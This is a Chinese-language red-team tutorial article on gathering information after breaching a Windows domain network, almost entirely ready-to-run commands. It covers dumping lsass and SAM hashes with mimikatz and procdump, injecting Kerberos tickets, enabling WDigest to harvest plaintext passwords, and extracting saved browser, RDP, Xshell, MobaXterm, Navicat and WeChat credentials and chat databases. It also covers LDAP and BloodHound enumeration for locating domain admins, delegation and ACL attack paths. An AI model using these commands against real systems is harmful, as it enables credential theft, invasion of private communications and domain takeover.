连载|红队知识体系梳理-域内信息收集

雷神众测

共 14512字,需浏览 30分钟

 ·

2022-11-17 14:18

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

前言

通过打点、钓鱼拿下一台PC、服务器突破边界进入内网,先进行信息收集。包括但不限于:

1.网络、进程服务、用户、系统信息等2.文件,特别是当前用户目录等

3.主机凭证:包括kerberos票据、主机密码,RDP凭证 等

4.第三方程序:第三方终端管理程序凭证,浏览器记录和密码,数据库管理工具凭证,微信记录等

5.域信息:当前域名/域SID,域用户/域管用户/委派用户,域控机器/DNS服务机器/ADCS机器/exchange机器,LDAP记录/DNS记录,ACL/GPO,域信任关系等



网络相关

arp -a # 查看arp缓存表route print # 路由表netstat -ano # 查看网络连接ipconfig /displaydns # 查看dns缓存type c:\Windows\system32\drivers\etc\hosts # 查看hosts文件tracert baidu.com # 通过跃点跟踪路由跳转信息中间件和数据库配置文件



用户进程

ver     # 查看系统版本systeminfo  # 查看系统配置tasklist /svc # 查看正在运行的进程服务tasklist /V /FO CSV # 详细进程query user # 查看登录会话net session # 列出本地计算机连接的客户端对话信息whoami /all  net localgroup administrator
wmic product get name,version # 查询所有安装过的软件及版本wmic service list brief # 查询当前机器的服务信息


凭据相关

一、主机票据

票据

klist # 查看当前用户缓存的票据凭证
mimikatz.exe  "privilege::debug"  "sekurlsa::tickets /export" exit # 导出lsass进程票据mimikatz.exe "kerberos::ptt gold.kirbi" exit  # 注入票据

mimikatz

RDP凭据

cmdkey /list # 查看当前用户保存的RDP凭证dir /a %userprofile%\appdata\local\microsoft\credentials\*  # 查找本地的Credentialsreg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" # rdp连接默认的10个记录reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s # 当前用户rdp连接历史li记录

1.使用Invoke-WCMDump脚本导出,不能导出域凭证

powershell -exec bypass  Import-Module  .\Invoke-WCMDump.ps1;Invoke-WCMDump

2.使用Mimikatz破解凭证

3.导出svchost进程内存查询密码明文

4.使用Mimikatz从已存在的RDP连接中导出凭据

mimikatz.exe "privilege::debug" "ts::logonpasswords" exit > log.txt

主机密码-读取lsass

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > log.txt
procdump64.exe -accepteula -ma lsass.exe lsass.dmpmimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
xiaomimi.exe 1

读取SAM

reg save hklm\sam sam.hivereg save hklm\security security.hivereg save hklm\system system.hive
mimikatz.exe "lsadump::sam /sam:sam.hive \security:hive.save" exit python secretsdump.py -sam sam.hive -security security.hive -system system.hive LOCAL

安装KB2871997补丁后lsass不保存明文,手动开启Wdigest Auth后锁屏让管理员重新输密码,2012 r2后默认自带

# 开启Wdigest Authreg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f# 锁屏rundll32 user32.dll,LockWorkStation

二、终端管理软件凭据

浏览器凭证记录

BrowserData.exe -b all -f json --dir C:\Users\Public\1\   
HackBrowserData.exe # 会在当前目录下生成results目录

HackBrowserData

其他第三方终端管理工具

SharpDecryptPwd

# 支持Navicat,TeamViewer,FileZilla,Foxmail,TortoiseSVN,Chrome,RDCMan,SunLogin,WinSCP,Xmangager系列产品(Xshell,Xftp)SharpDecryptPwd.exe --help 

Xshell全版本导出

SharpXDecrypt

SharpXDecrypt.exe 

how-does-MobaXterm-encrypt-password

1、注册表方式解密

reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\P  # 查询密码字段reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm  # 查询SessionP reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\C # 查询凭证字段
# 存在主密码解密ShowMobaXterm.exe 主密码 >1.txtMobaXtermCipher.py dec -p 主密码 密文# 不存在主密码解密python MobaXtermCipher.py dec -sysh 机器主机名 -sysu 机器用户名 -h 密文对应ip -u 密文对应用户 密码密文 # 解密密码字段密文python MobaXtermCipher.py dec -sp SessionP 凭证密文 # 解密凭证字段密文

2、配置文件保存方式解密
会保存在MobaXterm目录下的MobaXterm.ini文件,可以直接将MobaXterm.ini文件导出,替换配置文件导入本地MobaXterm
MobaXterm.ini中[passwords]字段为密码字段,SessionP字段是SessionP值

# 存在主密码解密MobaXtermCipher.py dec -p 主密码 密文# 不存在主密码解密python MobaXtermCipher.py dec -sysh 机器主机名  -sysu 机器用户名 -h 密文对应ip -u 密文对应用户 密码密文 # 解密密码字段密文python MobaXtermCipher.py dec -sp SessionP 凭证密文  # 解密凭证字段密文

据库管理工具

Navicat

SharpDecryptPwd Navicat

三、中间件和数据库配置

查看中间件和数据库配置文件,收集密码形成密码字典进行后续凭证爆破

四、微信

微信记录

https://github.com/Ormicron/Sharp-dumpkey
导出微信密钥,需要微信在登录

Sharp-dumpkey.exe # 会生成DBPass.bin

导出聊天记录

C:\Users\test\Documents\WeChat Files\微信ID\Msg\MicroMsg.dbC:\Users\test\Documents\WeChat Files\微信ID\Msg\Multi\MSG*.db

chatViewTool

将密钥DBPass.bin和db数据库放在同目录下,用chatViewTool打开

域信息相关

一、基础信息

net group "domain admins" /domain # 查看域管用户net group "Enterprise Admins"  /do  # 查看企业系统管理员组net group "domain controllers"  /domain # 查看域控制器组net group "Exchange Servers" /do # 查看exchange组net time /domain # 查看当前域的时间服务器netdom query pdc  # 查看主域控制器nltest /domain_trusts   # 查看域信任关系
net group "DnsAdmins" # 查看DNS组net group "Organization Management" # 查看exchange管理组net group "Schema Admins"net group "Group Policy Creator Owners"
net group /domain # 查看当前域所有组net user /domain # 查看当前域的所有域用户net group "domain computers" /domain # 查看域机器组

net view /domain # 查看查看内网存在多少个域net view /domain:qaq.com //查看QAQ.com域内的所有主机net view # 查看当前域所有主机共享,既:存活主机名net view \\192.168.1.1 # 查看指定机器的共享列表 net view \\主机名net accounts /domain # 查看密码策略net config workstation # 查看当前登录域
certutil -dump -v # ADcs服务

# 查看当前本地组。可能会配置域用户组加入当前机器的管理员组net localgroup administratorsnet localgroup users
# 使用安全帐户管理器远程API获取用户python  samrdump.py qaq.com/admin:Aa123456@192.168.10.250
# 使用impacket GetADUsers脚本从ldap获取域用户 python GetADUsers.py qaq.org/administrator:Aa123456 -dc-ip 192.168.11.250 -all

二、DNS记录

通过ldap查询dns记录

OU:

CN=MicrosoftDNS,DC=DomainDnsZones,DC=qaq,DC=com

objectClass:

dnsNode

adidnsdump

# 会在当前目录生成records.csv文件adidnsdump ldap://192.168.10.250 -u qaq\test -p Aa123456 -r  --dns-tcp  # 代理远程执行adidnsdump.exe  ldap://192.168.10.250 -u qaq\test -p Aa123456 -r

SharpAdidnsdump

# 通过SharpAdidnsdumpSharpAdidnsdump.exe 192.168.10.250  > dbs.txt

powerview

powershell -exec bypass  Import-Module  .\powerview.ps1;"Get-DNSRecord -ZoneName qaq.com | select name,data > dns.txt"

通过dns域传送漏洞获取全部DNS解析记录

nslookupserver test.qaq.com  # 设置dnsls qaq.com # 列出记录
dig axfr @test.qaq.com  qaq.com

三、关键机器探测

SNP

查询SPN收集重要服务定向攻击,例如:exchange服务、adcs服务

setspn -T domain.com -Q */*    # 服务主体,使用Kerberos须为服务器注册SPN

自动化工具

cscript GetUserSPNs.vbs

定位域管机器/查询域账户和机器关系

1.查询域管组账户登录机器,定向攻击后拿域管凭证;
2.查询域控登录的会话session,定向攻击拿凭证登域控;
3.通过LDAP查询IT部门、运维人员、与靶标相关的部门人员,查询这些人员登录的机器,定向攻击;

通过查询机器的登录会话定位

通过远程注册表查询机器当前登录的用户会话,默认PC机器没有开启允许注册表远程连接
通过NetSessionEnum API查询当前访问机器网络资源的用户名称和来源IP
通过NetWkstaUserEnum API查询登录机器的所有用户,需要机器的管理员权限

SharpDomainSession

查询指定机器登录的用户、IPC会话
SharpDomainSession

通过远程注册表方式、NetSessionEnum API、NetWkstaUserEnum API查询域控机器登录的用户/IPC连接会话

# NetWkstaUserEnum API接口需要目标机器的访问权限SharpDomainSession.exe test.qaq.com

psloggedon

psloggedon是微软PSTOOLS套件,查询指定机器登录会话,查询指定用户登录的机器

# 显示指定机器当前登录的用户和网络会话psloggedon.exe \\test  
# 显示指定用户当前登录的机器,通过遍历远程注册表方式。PC终端默认不允许远程注册表psloggedon.exe administrator

pveFindADUser

会调用远程注册表方式、NetSessionEnum API、NetWkstaUserEnum API三种方式进行枚举所有机器登录的用户会话,枚举指定账户登录的机器,枚举指定机器登录的会话

ADFindUsersLoggedOn

# 枚举所有机器登录的账户pveFindADUser.exe -current 
# 枚举登录admin账户的机器pveFindADUser.exe -current "qaq\admin"
# 枚举test机器当前登录的所有账户pveFindADUser.exe -current -target test
# 不探测存活pveFindADUser.exe -current -noping
# 查询test机当前最后一个登录的用户pveFindADUser.exe -current -target test -last

netview

netview

只使用WinAPI 枚举所有机器登录会话和共享

# 枚举所有机器的共享,调用二个API接口查询机器登录的会话。需要机器的访问权限,一般用域管用户netview.exe -d
# 指定从中提取主机列表的文件netview.exe -f filename.txt -d
# 检查对已找到共享的访问权限netview.exe -d -c

ldap定位

域账户绑定登录机器

查询域用户userWorkstations属性查询登录绑定机器

ldapsearch -x -H  ldap://192.168.10.250 -D "admin@qaq.com"  -w Aa123456  -b "DC=qaq,DC=com" "(userWorkstations=*)"  | grep   -E "userWorkstations|sAMAccountName"

定位委派账户

约束/非约束委派:查询配置约束委派和非约束委派的服务账户/机器定向攻击,攻击成功后委派访问域控制器

资源委派:
1.查询重要机器(域控制器、委派权限机器、运维人员个人机等)的mS-DS-CreatorSID加域账户,定位攻击这些域账户,然后修改主机属性msDS-AllowedToActOnBehalfOfOtherIdentity配置资源约束委派获取权限;
2.获得域账户后,查询通过该账户加域的机器,然后修改主机属性msDS-AllowedToActOnBehalfOfOtherIdentity配置资源约束委派获得权限;

约束委派和非约束委派

powerview

# 查询非约束委派的主机 powershell -exec bypass  Import-Module .\PowerView.ps1;"Get-NetComputer -Unconstrained -Domain qaq.com ">test.txt# 查询非约束委派的服务账户powershell -exec bypass  Import-Module .\PowerView.ps1;"Get-NetUser -Unconstrained -Domain qaq.com ">test.txtpowershell -exec bypass  Import-Module .\PowerView.ps1;"Get-NetComputer -Unconstrained -Domain qaq.com ";"Get-NetUser -Unconstrained -Domain qaq.com | select name">test.txt

Addend

# 查找域中配置非约束委派的服务用户 AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName# 查找域中配置非约束委派的主机 AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

# 查找域中配置约束委派服务用户:AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto# 查找域中配置约束委派的主机AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

ldapsearch linux kali自带
(注意-D是distinguishedname字段是账户的区别名称,和sAMAccountName登录账户名可能不一致)

# 查找域中配置非约束委派的用户ldapsearch -x -H ldap://192.168.10.250:389 -D "CN=admin,CN=Users,DC=qaq,DC=com" -w Aa123456 -b "DC=qaq,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

# 查找域中配置非约束委派的主机ldapsearch -x -H ldap://192.168.10.250:389 -D "CN=admin,CN=Users,DC=qaq,DC=com" -w Aa123456 -b "DC=qaq,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
# 查找域中配置约束委派服务用户ldapsearch -x -H ldap://192.168.10.250:389 -D "CN=admin,CN=Users,DC=qaq,DC=com" -w Aa123456 -b "DC=qaq,DC=com" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"# 查找域中配置约束委派的主机ldapsearch -x -H ldap://192.168.10.250:389 -D "CN=admin,CN=Users,DC=qaq,DC=com" -w test123.. -b "DC=qaq,DC=com" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

资源性约束委派(RBCD)

1.查询重要机器(域控制器、委派权限机器、运维人员个人机等)的mS-DS-CreatorSID加域账户,定向攻击这些域账户,修改主机属性(msDS-AllowedToActOnBehalfOfOtherIdentity)配置资源委派获得权限;
2.获得域账户后,查询通过该账户加域的机器,修改主机属性(msDS-AllowedToActOnBehalfOfOtherIdentity)配置资源委派获得权限;

注:2012 的域控才有这个特性,msDS-AllowedToActOnBehalfOfOtherIdentity属性

# 如果mS-DS-CreatorSID为空代表通过域管加入域环境# 使用AdFind查询所有机器mS-DS-CreatorSID属性AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSIDAdFind.exe -h 192.168.10.250 -u admin -up Aa123456 -b "DC=qaq,DC=com" -f "objectClass=computer" mS-DS-CreatorSID# 使用AdFind查询指定机器mS-DS-CreatorSID属性AdFind.exe -h 192.168.10.250 -u admin -up Aa123456 -b "CN=TEST4-WIN7,CN=Computers,DC=qaq,DC=com" -f "objectClass=computer" mS-DS-CreatorSID# 根据SID查询对应账户CN全名AdFind.exe -b "DC=qaq,DC=com" -f "(&(objectsid=S-1-5-21-3105699010-1460039537-418241315-1118))" objectclass cn dn
# 查询账户SIDAdFind.exe -b "DC=qaq,DC=com" -f "(sAMAccountName=admin)" objectSid # 通过域账户SID查询使用该账户加域的机器AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-3105699010-1460039537-418241315-1118))" cn sAMAccountType objectCategory

域外定位域控制器

扫描88,389,636,3268,3269端口定位域控制器。88是kerberos认证端口,389是ldap服务端口,636是ldap tls服务端口

域外定位exchange机器

扫描25,443,465,587,2525端口

定位adcs

certutil -dump -v  # 域内定位

https://github.com/ly4k/Certipy

certipy find "qaq.org/test:Aa123456@192.168.11.250" -debug  # 域外定位

四、ACL

查看高权限目标对象的ACL安全访问控制列表,扩展到目标的攻击路径。通过间接攻击对应的DACL对象获取高权限目标权限

使用SharpHound分析acl

使用SharpHound分析高权限目标的acl INBOUND CONTROL RIGHTS 入站控制权限,查看可访问该目标的DACL
获取到一个用户/机器权限的时候,使用SharpHound分析该对象的ACL OUTBOUND OBJECT CONTROL 出站控制权限,查看该对象可访问的DACL

使用Invoke-ACLPwn分析不安全的acl

也是通过调用SharpHound功能模块分析
https://github.com/fox-it/Invoke-ACLPwn

可管控目标的acl:

AddMembers          //可以将任何用户加入这个组,权限利用针对的对象为组对象User-Force-Change-Password          //更改目标用户的密码DS-Replication-Get-Changes和 DS-Replication-Get-Changes-All      //拥有dcsyns权限。利用针对的对象为域对象GenericAll      //授予目标对象的完全控制权。包括WriteDacl和WriteOwner特权。GenericWrite        //此权限能够更新目标对象的属性值Self-Membership     //某个账户能够把自身添加到对应组的权限(需要在某个组的高级权限中添加ACE,也就是说针对的是组对象)WriteProperty       //WriteProperty直译为写所有权。这个权限利用针对的对象为组对象,能够赋予账户对于某个组的可写权限WriteOwner      //对一个组具有WriteProperty权限的情况下,“写入全部属性”除了WriteProperty还包括了其他的权限WriteDacl   //WriteDacl允许委托人修改受影响对象的DACL。这意味着攻击者可以添加或删除特定的访问控制项,从而使他们可以授予自己对对象的完全访问权限。因此,WriteDacl是在链中启用其他权利的权利AllExtendedRights       //拥有所有扩展权限。包括:User-Force-Change-Password权限、AddMember权限、GenericAll权限等Full Control        //具备所有权限

使用RACE利用acl获取特权

https://github.com/samratashok/RACE

五、GPO

GPP MS14-025漏洞,2012以上已修复。查询组策略是否配置了账户密码,XM文件中cpassword字段

PowerSploit项目Exfiltration模块

powershell -exec bypass  -Command "&{import-module .\Get-GPPPassword.ps1;Get-GPPPassword -verbose}"

、ldap分析

拿到域账户、域内有效凭证,通过ldap分析域信息

SharpHound

使用SharpHound分析域架构、信息
SharpHound

# 使用SharpHound分析ldap数据,执行后生成zip压缩包。注意.net版本限制SharpHound.exe -c all --EncryptZip powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound  all"
SharpHound.exe -d qaq.com --DomainController test.qaq.com --LdapPort 389 --LdapUsername test --LdapPassword Aa123456 # 非域主机使用凭证
runas /netonly /user:qaq.com\admin cmd.exe # 使用runas指定当前凭证

将生成的zip压缩包导入BloodHound平台可视化分析

sudo neo4j startbloodhound

ADExplorer

使用ADExplorer连接和导出LDAP数据库

ADExplorer.exe -snapshot "" result.dat /accepteula

ldapsearch

使用ldapsearch搜索LDAP

# 统计机器数量ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456   -b "DC=qaq,DC=com" "(sAMAccountType=805306369)"|grep dNSHostName | wc -l# 统计用户数量ldapsearch -x -H  ldap://192.168.10.250 -D "admin@qaq.com"  -w Aa123456  -b "DC=qaq,DC=com" "(sAMAccountType=805306368)" | grep sAMAccountName | wc -l
# 查看域管ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Domain Admins,CN=users,DC=qaq,DC=com" "(member=*)" | grep memberldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Schema Admins,CN=users,DC=qaq,DC=com" "(member=*)" | grep memberldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Group Policy Creator Owners,CN=users,DC=qaq,DC=com" "(member=*)" | grep memberldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Enterprise Admins,CN=users,DC=qaq,DC=com" "(member=*)" | grep member
# 查看受保护的对象ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "DC=qaq,DC=com" "(admincount=1)" | grep sAMAccountName

# 查看DnsAdmins组ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=DnsAdmins,CN=users,DC=qaq,DC=com" "(member=*)" | grep member
# 查询域控制器ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "ou=domain controllers,DC=qaq,DC=com" | grep sAMAccountName
# 查询Exchange机器ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Exchange Servers,OU=Microsoft Exchange Security Groups,DC=qaq,DC=com" "(member=*)" | grep member# 查询Exchange管理用户ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Organization Management,OU=Microsoft Exchange Security Groups,DC=qaq,DC=com" "(member=*)" | grep member

安恒信息

杭州亚运会网络安全服务官方合作伙伴

成都大运会网络信息安全类官方赞助商

武汉军运会、北京一带一路峰会

青岛上合峰会、上海进博会

厦门金砖峰会、G20杭州峰会

支撑单位北京奥运会等近百场国家级

重大活动网络安保支撑单位

END

长按识别二维码关注我们


浏览 30
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报